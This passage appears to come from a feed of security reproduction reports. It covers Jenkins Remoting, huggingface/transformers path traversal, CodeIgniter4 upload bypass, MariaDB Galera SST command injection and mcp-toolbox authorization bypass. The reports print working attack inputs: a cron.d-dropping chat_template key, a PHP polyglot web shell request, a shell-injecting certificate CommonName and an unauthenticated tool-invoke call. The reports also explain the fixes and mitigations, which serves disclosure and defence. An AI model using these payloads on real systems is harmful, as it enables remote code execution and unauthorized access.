`SECURITY3911_CHANNEL_DEFAULT_FILTER=jenkins.security.ClassFilterImpl`, `SECURITY3911_FILTER_PROBE=REJECTED: Rejected: hudson.security3911.Payload`, and the JUL line `jenkins.security.ClassFilterImpl#notifyRejected: hudson.security3911.Payload in file:/opt/harness/payload.jar might be dangerous, so rejecting`. - Negative control: `bundle/repro/negative_control_observation.json` (both fixed attempts: rejection observed, `command_executed=false`, zero callbacks, zero marker files). - Environment: Docker 29.1.3; `jenkins/jenkins:2.575-jdk21` (`@sha256:16778c994cfc...`, Remoting 3384.v60d89463d9e0) and `jenkins/jenkins:2.576-jdk21` (`@sha256:8c1c7e28b463...`, Remoting 3385.vf1123fb_515da_); OpenJDK 21 controllers/agents; harness SHA-256s in `bundle/logs/harness_sha256.txt`. ## Recommendations / Next Steps - Upgrade to Jenkins 2.576 / LTS 2.568.2 (Remoting 3385.vf1123fb_515da_) or the 3355.3357.v931d3c992987 backport line. - The fix is correct and minimal: route both `ClassNotFoundException` fallbacks through the channel's class filter, mirroring the primary path. - Defense in depth: restrict Agent/Connect, isolate agents, and monitor for `Rejected: ... class-filter` log lines plus unexpected outbound connections from the controller. - Testing: the fix commit's regression tests (`ClassFilterTest` `multiClassLoaderSerializer_spoofedSystemClassLoader_isRejected` and `objectInputStreamEx_emptyClassLoader_fallbackIsFiltered`) cover both fallbacks; this run reproduces the same spoof over the real JNLP4/TCP production path. ## Additional Notes - Idempotency: the script runs two clean attempts per role with fresh `JENKINS_HOME` per attempt, unique per-attempt tokens, a fresh Docker network per run, and full container cleanup; two consecutive end-to-end runs both passed (`OVERALL=0`). - The second vulnerable fallback (`ObjectInputStreamEx.resolveClass`) is exercised when the remote peer does not advertise multi-classloader RPC capability; it is fixed by the same commit and follows the identical pattern (documented in the diff); the primary proof uses the `MultiClassLoaderSerializer` path, which is the default for JNLP4 agent channels. - The harness payload class implements only `Serializable` (not `hudson.remoting.Callable`) because the controller's webapp/application classloader split would otherwise fail linking; this mirrors a real gadget whose effect lives in `readObject`, and it makes the proof stronger: execution happens during deserialization, before any `Callable` cast or arbitrary-callable permission check. - Fresh Jenkins installs do not auto-install bundled detached plugins; the script installs the war-bundled `instance-identity.hpi` + `bouncycastle-api.hpi` into `JENKINS_HOME/plugins` (what the setup wizard would do) so the production JNLP4 TLS listener is functional. ### Reproduction - Reproduced: 2026-08-23T15:38:07.273Z - Duration: 9763s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00322 # or: pruva-verify CVE-2026-70426 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00322 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00322/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00322 ================================================================================ ## REPRO-2026-00321: huggingface/transformers <5.10.0: path traversal via chat_template dict keys in save_pretrained() → arbitrary file write → RCE (cron.d drop) -------------------------------------------------------------------------------- Status: published Severity: high Type: security ### Identifiers - REPRO ID: REPRO-2026-00321 - CVE: CVE-2026-9856 (https://nvd.nist.gov/vuln/detail/CVE-2026-9856) ### Package Information - Name: huggingface/transformers - Ecosystem: Unknown - Affected: Unknown - Fixed: Unknown - Severity: high - CVSS: Unknown - CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) ### Root Cause # CVE-2026-9856 — Root Cause Analysis ## Summary huggingface/transformers `<5.10.0` contains a path traversal (CWE-22) in `save_pretrained()`. When a tokenizer (or processor) is loaded from an attacker-controlled artifact whose `tokenizer_config.json` carries a `chat_template` **dictionary**, the dictionary keys are used verbatim as filenames by `save_chat_templates()` (`src/transformers/tokenization_utils_base.py`) and by `ProcessorMixin.save_pretrained()` (`src/transformers/processing_utils.py`): `template_filepath = os.path.join(chat_template_dir, f"{template_name}.jinja")` with no sanitization. A traversal key such as `../../../etc/cron.d/hf_pwn` escapes the save directory and writes fully attacker-controlled content (with a forced `.jinja` suffix) anywhere the victim process can write. This run demonstrates the full impact chain: the escaped file is dropped into `/etc/cron.d`, where a pre-existing, genuine cronie daemon naturally loads it and independently spawns `/bin/sh` running the attacker's command — arbitrary code execution with the victim's privileges. ## Impact - **Package:** huggingface/transformers (`save_pretrained` of `PreTrainedTokenizerBase` and `ProcessorMixin`). - **Affected versions:** `>=4.52.0, <5.10.0` (verified vulnerable: `5.9.0`; NVD's `<=5.8.0.dev0` understates the range). - **Fixed versions:** `5.10.0` (yanked ~20 min after release) / `5.10.1+`. - **Risk:** High. A victim application that loads an attacker-controlled model (`from_pretrained`) and later calls `save_pretrained()` — automatic in Trainer checkpointing, model conversion/re-hosting, and fine-tune export — writes attacker-controlled content to arbitrary filesystem paths. Realistic execution targets include `/etc/cron.d` (cron ignores the `.jinja` extension) and overwriting existing `.jinja` templates rendered by a service. CVSS UI:R; the attacker needs no authentication. ## Impact Parity - **Disclosed/claimed maximum impact:** arbitrary file write → remote/code execution (e.g., cron.d drop), `code_execution`. - **Reproduced impact from this run:** `code_execution` — two fresh, isolated victim processes running real `transformers==5.9.0` each produced a unique marker file written by a `/bin/sh` process that the genuine cronie 1.7.2 daemon independently spawned from the attacker-controlled `/etc/cron.d/hf_pwn.jinja`. The identical artifact against `transformers==5.10.1` raised `ValueError`, wrote no cron file, and produced no marker. - **Parity:** `full`. - **Not demonstrated:** nothing — the claimed code-execution impact was reproduced end to end through the real library API and a real system daemon. ## Root Cause `save_chat_templates()` iterates `tokenizer.chat_template.items()` when the chat template is a dict and computes `template_filepath = os.path.join(chat_template_dir, f"{template_name}.jinja")`. `template_name` comes verbatim from `tokenizer_config.json`, which is fully attacker-controlled when the model artifact is untrusted. No normalization or containment check is applied, so keys containing `..` (or absolute paths) escape `OUT/additional_chat_templates/`. The library only `mkdir`s its own `additional_chat_templates` dir, so the write succeeds whenever the attacker-chosen parent directory (e.g. `/etc/cron.d`) already exists and is writable by the victim. The identical flaw exists in `ProcessorMixin.save_pretrained()` (`processing_utils.py`). Fix: PR #46191, merge commit `eaaaf8494dd5386634ae37d1d122212fdc315be5` (2026-05-25), first shipped in `5.10.0`/`5.10.1`. The fix resolves `template_filepath`'s parent and compares it to the resolved `chat_template_dir`, raising `ValueError` on mismatch (a 3-line guard in both files), plus regression tests using a `../../PWNED` key. ## Reproduction Steps 1. `bundle/repro/reproduction_steps.sh` (self-contained; helper: `bundle/repro/hf_cron_exploit.py`). 2. The script: - Anchors source identity to the fixed commit `eaaaf8494dd5386634ae37d1d122212fdc315be5`: its parent (`47949d3a0e1cf9248f2a3eb3cd0deb12ee37b9e9`) lacks the guard, the fix commit contains it (`logs/source_identity.log`). - Builds two Docker images from the immutable `fedora:42` digest with cronie 1.7.2 and the exact PyPI releases `transformers==5.9.0` (vulnerable) and `transformers==5.10.1` (fixed). - In each isolated container: starts a real `crond` **before** the attacker input, builds a tokenizer whose `tokenizer_config.json` contains `chat_template = {"../../../etc/cron.d/hf_pwn": "* * * * * root /bin/sh -c \"echo '' > /proof/.txt\""}`, then calls the real API `AutoTokenizer.from_pretrained(dir).save_pretrained(out)`. - Waits for cronie to naturally load `/etc/cron.d/hf_pwn.jinja` and spawn the payload; the script never executes the dropped file. - Runs two fresh vulnerable victims and one fixed negative control. 3. Expected evidence: `SAVE_RESULT=RETURNED`, `CRON_FILE_PRESENT=true`, `CRON_CONTENT_MATCH=true`, cronie's own `log_it ... CMD (/bin/sh -c ...)` line, and a unique marker file per vulnerable attempt; `SAVE_RESULT=BLOCKED` / `CRON_FILE_PRESENT=false` / no marker for the fixed control. ## Evidence - `bundle/logs/reproduction_steps.log` — full driver log (two consecutive full passes succeeded; markers `...-1651` then `...-2249`). - `bundle/logs/source_identity.log` — fix-commit anchor and guard diff. - `bundle/logs/vulnerable_cron_attempt1.log`, `bundle/logs/vulnerable_cron_attempt2.log` — `SAVE_RESULT=RETURNED`, `CRON_FILE_PRESENT=true`, `CRON_CONTENT_MATCH=true`, `MARKER_PRESENT=true`, and cronie lines such as `log_it: (root 92) CMD (/bin/sh -c "echo 'CVE-2026-9856-RCE-VULNERABLE-1-2249' > /proof/...")`. - `bundle/logs/fixed_cron_control.log` — `SAVE_RESULT=BLOCKED`, `CRON_FILE_PRESENT=false`, `MARKER_PRESENT=false` (ValueError guard). - `bundle/repro/marker_run1.txt`, `bundle/repro/marker_run2.txt` — unique per-attempt markers written by the crond-spawned shell. - `bundle/repro/negative_control_fixed.json` — strict negative-control observation (`target_path_reached=true`, `marker_present=false`). - `bundle/repro/runtime_manifest.json` — entrypoint `function_call`, target identity, and artifact digests. - Environment: Docker 27.5.1, immutable base `fedora@sha256:99e203b80b1c3d8f7e161ec10a68fd02b081ef83a3963553e513c82846b97814`, cronie 1.7.2, Python 3.13, `transformers==5.9.0` / `5.10.1`, x86_64. ## Recommendations / Next Steps - Upgrade to `transformers>=5.10.1` (5.10.0 was yanked). - The upstream guard (resolve the template path's parent and require it to equal the resolved `chat_template_dir`) is the correct containment fix; downstream backports should mirror it in both `tokenization_utils_base.py` and `processing_utils.py`. - Defensive controls: never call `save_pretrained()` on artifacts loaded from untrusted sources without sandboxing; run converters/exporters with least privilege so `/etc/cron.d` and similar directories are not writable. - Detection: watch for non-system processes opening files under `/etc/cron.d`, and for processes whose parent is `crond` executing unexpected commands. ## Additional Notes - Idempotency: the script was executed twice consecutively in this run; both passes confirmed (exit 0), with fresh unique markers per pass. Images are rebuilt deterministically from the immutable base digest; per-attempt containers are removed after each case. - The forced `.jinja` suffix does not prevent cron execution: cronie loads every file in `/etc/cron.d` regardless of extension. The write requires the victim to have write permission on the chosen parent directory (root in the demonstration container, matching the ticket's stated precondition). - `from_pretrained()` alone is safe; `save_pretrained()` is the trigger. - This run independently revalidated the durable mechanics from prior exploit-knowledge records (arbitrary write primitive `793c4388-299a-489f-a791-5e7b7f2e66d3`, crond-mediated control flow `ffcce804-7fa3-4ec4-a772-357db3da686c`, command-execution capability `19959132-b2f0-4e9f-8e66-d7e6ab23edf5`) with fresh current-run evidence. ### Reproduction - Reproduced: 2026-08-23T15:38:01.119Z - Duration: 19s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00321 # or: pruva-verify CVE-2026-9856 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00321 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00321/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00321 ================================================================================ ## REPRO-2026-00320: CodeIgniter4 is_image/mime_in upload validation bypass — unrestricted file upload leading to RCE -------------------------------------------------------------------------------- Status: published Severity: critical Type: security ### Identifiers - REPRO ID: REPRO-2026-00320 - CVE: CVE-2026-63223 (https://nvd.nist.gov/vuln/detail/CVE-2026-63223) ### Package Information - Name: codeigniter4/framework - Ecosystem: github - Affected: < 4.7.4 - Fixed: 4.7.4 - Severity: critical - CVSS: Unknown - CWE: CWE-434 (Unrestricted Upload of File with Dangerous Type) ### Root Cause # RCA Report — CVE-2026-63223: CodeIgniter4 is_image/mime_in Upload Validation Bypass → RCE ## Summary CodeIgniter4 versions before 4.7.4 validate file uploads with the `is_image()` and `mime_in()` rules (`system/Validation/StrictRules/FileRules.php`) using only the **content-sniffed** MIME type (finfo magic bytes). They never compare the client-supplied filename extension with the detected content type. An attacker can therefore upload a polyglot file whose first bytes are `GIF89a` (sniffed as `image/gif`) but whose body contains PHP code, named `shell.php`. Validation trusts the content (image ✔); the web server trusts the extension (`.php` → execute). This confused-deputy gap yields unrestricted file upload and remote code execution when the application saves the upload under the client filename into a web-accessible, PHP-enabled directory. ## Impact - Package/component: `codeigniter4/framework` — `CodeIgniter\Validation\StrictRules\FileRules::is_image()` and `::mime_in()` (non-strict `FileRules` is an empty subclass, so both rule sets are affected). - Affected versions: < 4.7.4 (reproduced on v4.7.3). - Risk level: critical — unauthenticated remote code execution on any application that (1) validates uploads with `is_image` or `mime_in` without `ext_in`, (2) preserves the client filename on save, and (3) stores uploads in a web-accessible, PHP-enabled directory. ## Impact Parity - Disclosed/claimed maximum impact: code execution (unrestricted file upload → RCE). - Reproduced impact from this run: **code execution** — a GIF89a+PHP polyglot uploaded as `shell.php` passed `is_image` validation on v4.7.3, was saved to `public/uploads/shell.php`, and an HTTP GET to `/uploads/shell.php?cmd=...` executed attacker-controlled commands (`echo ` and `id`, returning `uid=1000(vscode) ...`) in 2/2 clean attempts. - Parity: `full`. - Not demonstrated: nothing — the claimed impact was reproduced end-to-end through the real HTTP boundary. ## Root Cause `FileRules::is_image()` (v4.7.3) checks `uploaded[]`, then calls `$file->getMimeType()` (finfo content sniffing) and accepts the file if the detected type starts with `image`. `mime_in()` likewise compares only the sniffed type against an allow-list. Neither rule inspects `$file->getClientExtension()` / `$file->getClientName()`. Because a polyglot can simultaneously be valid GIF89a content and executable PHP source, the validator and the web server reach different conclusions about the same file: - Fix (v4.7.4, release commit `67ead895b7491703e5e5bc17436778806192008f`): adds `hasInvalidImageClientExtension()` to `is_image()` (reject non-empty client extensions that do not map to an `image/*` MIME type) and `hasMismatchedClientExtension()` to `mime_in()` (reject client extensions that do not match the extension guessed from the sniffed content), in `system/Validation/StrictRules/FileRules.php`. - Note: the ticket names fixed commit `b6e9a4fa`. That hash is not present in the `codeigniter4/framework` distributable mirror (which receives squashed release commits from the `codeigniter4/CodeIgniter4` development repo). The v4.7.4 release tag was verified to contain exactly the named fix helpers and was used as the fixed checkout; patch-anchor verification (helper absent in v4.7.3, present in v4.7.4) is enforced by the script on every run. ## Reproduction Steps 1. `bundle/repro/reproduction_steps.sh` (self-contained; run twice consecutively, exit 0 both times). 2. The script: - Installs PHP CLI + extensions and Composer if absent. - Clones `codeigniter4/framework` into the prepared project cache (`/repo`) or `bundle/artifacts/framework` as fallback. - Verifies the patch anchor (fix helper absent at v4.7.3 / present at the fixed ref). - Writes a real upload controller (`app/Controllers/Upload.php`) using the rule `uploaded[userfile]|is_image[userfile]` (no `ext_in`) that saves with the client filename into `public/uploads/`, plus a `POST /upload` route. - Builds a GIF89a+PHP polyglot (verified to sniff as `image/gif`) and a plain-text negative control. - Starts the real product server (`php spark serve`, PHP built-in web server bound to 127.0.0.1) and runs, for both v4.7.3 and the fixed ref: - Negative control: plain-text `plain.php` upload → rejected (rule active). - 2 clean vulnerable attempts: POST polyglot as `shell.php`, then GET `/uploads/shell.php?cmd=echo ;id`. - 2 clean fixed attempts: same POST, then GET. 3. Expected evidence: v4.7.3 returns `{"status":"saved"}` and the GET response contains the unique per-attempt marker plus `uid=` output (and not the raw `getRandomName()`), store uploads outside the webroot or behind a controller, and disable PHP execution in upload directories at the web-server layer. - Testing: add regression tests that upload a `GIF89a`+PHP polyglot named `shell.php` and assert rejection under `is_image`/`mime_in`. ## Additional Notes - Idempotency: the script was run twice consecutively; both runs exited 0 with 2/2 vulnerable RCE attempts and 2/2 fixed rejections. It re-checkouts, re-applies the overlay, and removes `public/uploads` before every attempt, so it is safe to re-run. - Edge cases/limitations: RCE requires the three deployment preconditions listed above (validation without `ext_in`, client filename preserved, web-accessible PHP-enabled upload dir). The proof uses `php spark serve` (the framework's documented development server built on PHP's web server); any deployment that executes `.php` under the upload directory (Apache mod_php, PHP-FPM with typical location rules) exhibits the same behavior. If uploads are stored outside the docroot or PHP is disabled there, the validation bypass still occurs (file is accepted) but code execution is not reachable — that is a deployment mitigation, not a fix. - The named fixed commit `b6e9a4fa` could not be resolved in the `codeigniter4/framework` mirror; the v4.7.4 tag contains the exact helpers described in the advisory and was used with patch-anchor verification. ### Reproduction - Reproduced: 2026-08-23T15:36:57.228Z - Duration: 1442s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00320 # or: pruva-verify CVE-2026-63223 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00320 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00320/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00320 ================================================================================ ## REPRO-2026-00319: MariaDB Galera SST remote_auth shell command injection (wsrep_shell_char blacklist bypass) — candidate for v12sec 2026-07-31 0day -------------------------------------------------------------------------------- Status: published Severity: critical Type: security ### Identifiers - REPRO ID: REPRO-2026-00319 ### Package Information - Name: MariaDB/server - Ecosystem: github - Affected: Unknown - Fixed: Unknown - Severity: critical - CVSS: Unknown - CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) ### Root Cause ## Summary MariaDB Galera's donor-side State Snapshot Transfer (SST) path accepts a joiner-controlled `remote_auth` value and makes it available to `wsrep_sst_mariabackup`. In vulnerable MariaDB 11.8.6, a certificate CommonName supplied by the joining peer becomes the remote username and is interpolated inside a shell command string later executed with Bash `eval`. A CommonName containing a quote and shell control operators therefore escapes the intended `socat` `commonname` argument and executes an arbitrary command under the donor's `mariadbd` OS account. This run confirmed the issue through a real two-node Galera cluster and TCP SST exchange. ## Impact - **Affected package/component:** MariaDB Server with Galera/wsrep enabled, specifically donor-side `wsrep_sst_mariabackup` SST handling and the `remote_auth` data path in `sql/wsrep_sst.cc`. - **Runtime version proven vulnerable:** MariaDB 11.8.6 (`mariadb:11.8.6`, image digest `sha256:78a5047d3ba33975f183f183c2464cc7f1eab13ec8667e57cc9a5821d6da7577`, source revision `9bfea48ce1214cc4470f6f6f8a4e30352cef84e7` as reported by the image). The source identity used for the submitted 11.8.8 context is commit `46a8eb42a520193686d9a16d4cea4b3e002917e4`; it still lacks the strict `remote_auth` allowlist fix. - **Affected version family:** The unsafe donor behavior is present before the MDEV-40056 fix. The ticket identifies 11.8.8 and 10.11.18 as still lacking proposed commit `581562f94a`; this run directly executed the vulnerable path on 11.8.6. - **Risk:** Critical. A party able to join or impersonate a Galera peer and trigger mariabackup SST can execute arbitrary shell commands on a donor as the `mariadbd` service user. This enables database-file access, credential theft, destructive modification, and lateral movement with that account's privileges. ## Impact Parity - **Disclosed/claimed maximum impact:** Remote command/code execution on the donor as the `mariadbd` OS user through a joiner-controlled wsrep SST request. - **Reproduced impact:** A real malicious joiner connected over the Galera TCP boundary, requested mariabackup SST, and caused `id` to run on the donor. The resulting marker contains `uid=999(mysql) gid=999(mysql) groups=999(mysql)`. - **Parity:** `full` - **Not demonstrated:** Privilege escalation beyond the MariaDB service account was not attempted or required. The mysqldump method was not needed for the full impact proof; mariabackup provided the production-path RCE required by the claim. ## Root Cause The vulnerable data flow is: 1. A joining Galera peer connects to the donor through the wsrep TCP protocol and requests SST. 2. The joiner's SST listener prepares an address containing authentication data derived from its TLS certificate CommonName. The donor parses everything before the final `@` as `remote_auth`. 3. In the vulnerable release, `sql/wsrep_sst.cc` splits that value into `auth.remote_name_` and `auth.remote_pswd_` without the strict filename-character allowlist later introduced by MDEV-40056. 4. Donor startup information carries the remote username into `WSREP_SST_OPT_REMOTE_USER` in `wsrep_sst_mariabackup`. 5. The script builds a string such as `...,commonname='$WSREP_SST_OPT_REMOTE_USER'` and passes the composed pipeline to `timeit()`, which executes `eval $cmd`. 6. A remote username like `x';id>/var/lib/mysql/MDEV40056_MARKER;sleep 3;#` closes the intended quote, inserts commands, and comments out the trailing quote. Bash executes `id` as the donor process account. The ticket's intermediate `wsrep_shell_char` blacklist is also structurally unsafe because it permits shell metacharacters such as `;`, `|`, `&`, parentheses, and redirections. More fundamentally, a blacklist is unsuitable for values that may reach shell parsing. On the executed 11.8.6 path there is no effective strict `remote_auth` allowlist before the value reaches the script. The proposed fix is commit [`581562f94a83f29dcf2c6cc761b49ad55d9c287a`](https://github.com/MariaDB/server/commit/581562f94a83f29dcf2c6cc761b49ad55d9c287a). It splits the remote authentication value, validates both user and password with `wsrep_filename_char`, returns `Bad remote auth string. SST canceled.` on any disallowed character, and removes the permissive `wsrep_shell_char` path. Related fixed scripts also stop reading donor authentication from unsafe stdin and avoid placing remote auth into `commonname` for `VERIFY_CA`. ## Reproduction Steps 1. Run `bundle/repro/reproduction_steps.sh` from any directory. It honors `PRUVA_ROOT`, uses the prepared repository at `/repo` when available, and otherwise clones into `bundle/artifacts/mariadb-server`. 2. The script pins and verifies the vulnerable MariaDB image, creates a local CA plus donor/joiner certificates, and gives the joiner certificate the malicious CommonName. 3. It starts a real MariaDB/Galera donor, waits for a healthy synchronized node, then starts a real joiner connected to the donor's wsrep TCP listener. The clean join forces mariabackup SST. 4. It polls the donor for the command marker, copies the marker into the bundle, captures donor/joiner logs and loader/linkage evidence, then runs the exact fixed allowlist logic from commit `581562f94a` as a negative control. 5. Expected result: exit status `0`, `bundle/repro/donor_command_marker.txt` shows the `mysql` UID/GID, and the fixed control records `fixed_result=REJECTED` without a marker. ## Evidence - `bundle/logs/vulnerable_donor.log` - Shows a peer connection to the donor's TCP wsrep listener. - Shows `Member 1.0 (joiner) requested state transfer` and `Detected STR version: 1`. - Shows donor execution of `wsrep_sst_mariabackup` and the injected command in the evaluated transport string: ```text commonname='x';id>/var/lib/mysql/MDEV40056_MARKER;sleep 3;#' ``` - `bundle/repro/donor_command_marker.txt` - Contains: ```text uid=999(mysql) gid=999(mysql) groups=999(mysql) ``` - `bundle/logs/vulnerable_joiner.log` - Captures the real joining server, SST listener, and protocol-side state transfer activity. - `bundle/logs/fixed_donor.log` - Records `fixed_result=REJECTED` from the exact `wsrep_filename_char` split/check behavior and includes the fixed source block that emits `Bad remote auth string. SST canceled.` - `bundle/repro/fixed_negative_control.json` - Records the fixed-control process identity, reached validator path, and absence of the marker. - `bundle/logs/source_identity.log` - Binds source commits and immutable Docker image digests. - `bundle/logs/product_linkage.log` - Captures `ldd` output and SHA-256 hashes for `/usr/sbin/mariadbd` and `/usr/lib/galera/libgalera_smm.so`. - `bundle/repro/runtime_manifest.json` - Declares `entrypoint_kind=tcp_peer`, service/health/path flags, source/image identity, and SHA-256 digests of proof artifacts. - Exploit knowledge records created from current-run evidence: - Primitive: `9f8313f4-7255-4327-9080-cb1bb00344ad` - Derived command execution: `7c845cfe-5dab-41d2-9f50-d71160b7cf40` ## Recommendations / Next Steps - Apply or backport the strict validation from commit `581562f94a` to every maintained branch. Validate the username and password independently with a narrow allowlist before storing, exporting, logging, or forwarding them. - Do not pass peer-controlled values through shell command strings. Replace `eval`-based command composition with arrays/direct `exec` invocations so data cannot become shell syntax. - Keep certificate identity verification and authorization distinct from shell command construction; certificate subject fields must always remain data. - Upgrade to a vendor release that explicitly contains the MDEV-40056 fix once available. Do not assume that a version containing earlier SST hardening fully addresses this later `remote_auth` issue. - Restrict Galera/wsrep ports to authenticated cluster members and trusted network segments. Rotate cluster credentials and review donor hosts if an untrusted peer may have joined. - Add regression tests that deliver malicious CommonNames and direct `remote_auth` strings over a real two-node SST flow. Include quotes, semicolons, pipes, ampersands, redirections, parentheses, newline variants, and colon edge cases; verify rejection happens before any SST script starts. ## Additional Notes - The final reproduction script completed successfully twice consecutively after its last modification, and earlier full-path runs independently created the same marker. It cleans containers/networks and repairs bind-mount ownership, making repeated execution idempotent. - The production-path proof is non-sanitized and uses real MariaDB and Galera components rather than a parser/library mock. - The fixed side is a source-bound logic negative control rather than a full fixed server build because the submitted fix is unmerged and not present in a release image. It exercises the exact split and `wsrep_filename_char` predicate and includes the exact fixed source excerpt. The vulnerable impact itself is demonstrated end-to-end over TCP. - The TLS setup is intentionally local and ephemeral. It exists only to make the malicious joiner a trusted certificate holder and exercise the same certificate-CN-to-`remote_auth` path used by the product. ### Reproduction - Reproduced: 2026-08-01T20:29:03.048Z - Duration: 5056s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00319 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00319 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00319/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00319 ================================================================================ ## REPRO-2026-00318: mcp-toolbox authorization bypass: unauthenticated tool invocation via direct HTTP API -------------------------------------------------------------------------------- Status: published Severity: high Type: security ### Identifiers - REPRO ID: REPRO-2026-00318 - CVE: CVE-2026-14537 (https://nvd.nist.gov/vuln/detail/CVE-2026-14537) ### Package Information - Name: googleapis/genai-toolbox - Ecosystem: github - Affected: >= v1.3.0 (2026-05-21) and <= v1.4.0 (2026-06-04) - Fixed: v1.5.0 (2026-06-18) - Severity: high - CVSS: Unknown - CWE: CWE-863 (Incorrect Authorization) (Incorrect Authorization) ### Root Cause # CVE-2026-14537 — Root Cause Analysis ## Summary google/mcp-toolbox (repository `googleapis/genai-toolbox`) versions v1.3.0–v1.4.0 suffer from an incorrect-authorization vulnerability (CWE-863). When the server is configured with an MCP-enabled authorization service (`mcpEnabled: true`, OAuth scopes via `scopesRequired`) **and** the legacy direct HTTP API is enabled (`--enable-api`), the legacy endpoint `POST /api/tool/{toolName}/invoke` executes tools without enforcing the MCP authorization policy. An unauthenticated remote attacker can invoke tools that the operator believes are protected by OAuth scopes, because scope enforcement exists only on the `/mcp` endpoint path. ## Impact - Component: `internal/server/api.go` (`toolInvokeHandler`) together with `internal/server/server.go` (`mcpAuthMiddleware` mounted only under `/mcp`). - Affected versions: v1.3.0 (2026-05-21) through v1.4.0 (2026-06-04). - Fixed in: v1.5.0 (2026-06-18), fix commit `a6ff910a602adece11f0a6581d6211e5927f7182` ("fix(server): fail if MCP auth is enabled together with enable-api (#3435)"). - Risk: high (CVSS 4.0 8.1). Any tool protected solely by the MCP authorization model (an `mcpEnabled` authService plus tool-level `scopesRequired`, with no legacy `authRequired`) is remotely invocable with no credentials at all, including destructive tools (e.g. `sqlite-execute-sql`, SQL execution tools against production databases). ## Impact Parity - Disclosed/claimed maximum impact: authorization bypass — unauthenticated remote invocation of scope-protected tools via the direct HTTP API (`expected_impact=authz_bypass`, surface `api_remote`). - Reproduced impact in this run: identical — HTTP 200 and actual tool execution (arbitrary SQL against the configured SQLite source) via `POST /api/tool/protected-tool/invoke` with no `Authorization` header, while the same unauthenticated caller receives HTTP 401 on `/mcp`. - Parity: `full`. - Not demonstrated: nothing beyond the claimed impact (no code execution was claimed or required). ## Root Cause Authorization in mcp-toolbox v1.3.0/v1.4.0 is split across two independent enforcement points: 1. **MCP path** (`/mcp`): `mcpAuthMiddleware` (`internal/server/server.go`) validates the Bearer token via `ValidateMCPAuth` (including authService `scopesRequired`), and the MCP `tools/call` handler additionally enforces tool-level scopes through `mcputil.ValidateScopes(ctx, tool.GetScopesRequired(), ...)` (`internal/server/mcp/v20250618/method.go`). 2. **Legacy HTTP API path** (`/api`, enabled by `--enable-api`): the router in `internal/server/api.go` has **no** MCP auth middleware, and `toolInvokeHandler` only enforces the legacy `authRequired` mechanism (`tool.Authorized(verifiedAuthServices)`), which returns `true` unconditionally when a tool declares no `authRequired` (`IsAuthorized`: "no authorization requirement"). Tool-level `scopesRequired` is never consulted on this path. Consequently, a tool protected only by the modern MCP scope model (`scopesRequired`, no legacy `authRequired`) is fully open on the legacy HTTP API: the unauthenticated request passes `IsAuthorized([])` and the tool executes. The fix in v1.5.0 does not add scope checks to the legacy endpoint; instead it makes the dangerous configuration fail closed at startup: `cmd/root.go` and `internal/server/server.go` (`InitializeConfigs`) refuse to run when any authService `IsMCPEnabled()` and `EnableAPI` are both set ("MCP Auth cannot be enabled together with the legacy HTTP API"), and a new `IsMCPEnabled()` method was added to the `AuthServiceConfig` interface for that check. Fix commit: `a6ff910a602adece11f0a6581d6211e5927f7182` (PR #3435). ## Reproduction Steps 1. Run `bundle/repro/reproduction_steps.sh` (self-contained; installs Go 1.26.3 if needed, clones/uses the prepared repo cache, builds the real product at v1.4.0 and v1.5.0). 2. The script starts a local OIDC authorization-server stub (`bundle/repro/oidc_stub.py`), then launches the real v1.4.0 server with `bundle/repro/tools.yaml` (generic authService `mcpEnabled: true` + `scopesRequired: [read:files]`; tool `protected-tool` of type `sqlite-execute-sql` with `scopesRequired: [execute:sql]` and **no** `authRequired`) and flags `--enable-api --toolbox-url --port 5000`. 3. It then sends the attacker request `POST /api/tool/protected-tool/invoke` with body `{"sql": "SELECT 'CVE-2026-14537-PWNED' AS marker"}` and **no** `Authorization` header, followed by a contrast request to `/mcp` without a token, and finally attempts to start v1.5.0 with the identical config and flags. Expected evidence: - v1.4.0 legacy API: HTTP 200 with the marker `CVE-2026-14537-PWNED` in the JSON response (tool executed unauthenticated) — **vulnerable**. - v1.4.0 `/mcp`: HTTP 401 with a `WWW-Authenticate` challenge — the MCP path enforces authorization correctly. - v1.5.0: exits at startup logging "MCP Auth cannot be enabled together with the legacy HTTP API" and never serves the API — **fixed (fail closed)**. ## Evidence - `bundle/logs/reproduction_steps.log` — full run transcript. - `bundle/logs/vuln_server.log` — v1.4.0 server startup (MCP auth + legacy API both active). - `bundle/logs/vuln_api_invoke_status.txt` / `vuln_api_invoke_body.json` — HTTP status and response body of the unauthenticated invoke (200 + marker). - `bundle/logs/vuln_mcp_noauth_status.txt` / `vuln_mcp_noauth_body.json` — 401 from `/mcp` without a token (contrast control). - `bundle/logs/fixed_server.log` — v1.5.0 startup refusal message. - `bundle/logs/oidc_stub.log` — OIDC discovery requests made by the server at startup (proves the real MCP auth stack was initialized). - `bundle/repro/runtime_manifest.json` — structured runtime evidence manifest. Environment: linux/amd64, Go 1.26.3, mcp-toolbox built from source at tags v1.4.0 (d67cfbe8ddc) and v1.5.0, python3 OIDC stub on 127.0.0.1:8099. ## Recommendations / Next Steps - Upgrade to v1.5.0 or later; do not run `--enable-api` together with MCP-enabled authorization services on affected versions. - Operators on v1.3.0/v1.4.0 who must keep the legacy API should add explicit legacy `authRequired` entries to every tool (the legacy mechanism is still enforced on `/api`), or front the server with a proxy that blocks `/api`. - Long-term: the legacy `/api` endpoints are deprecated; migrate clients to the standard `/mcp` JSON-RPC endpoint where 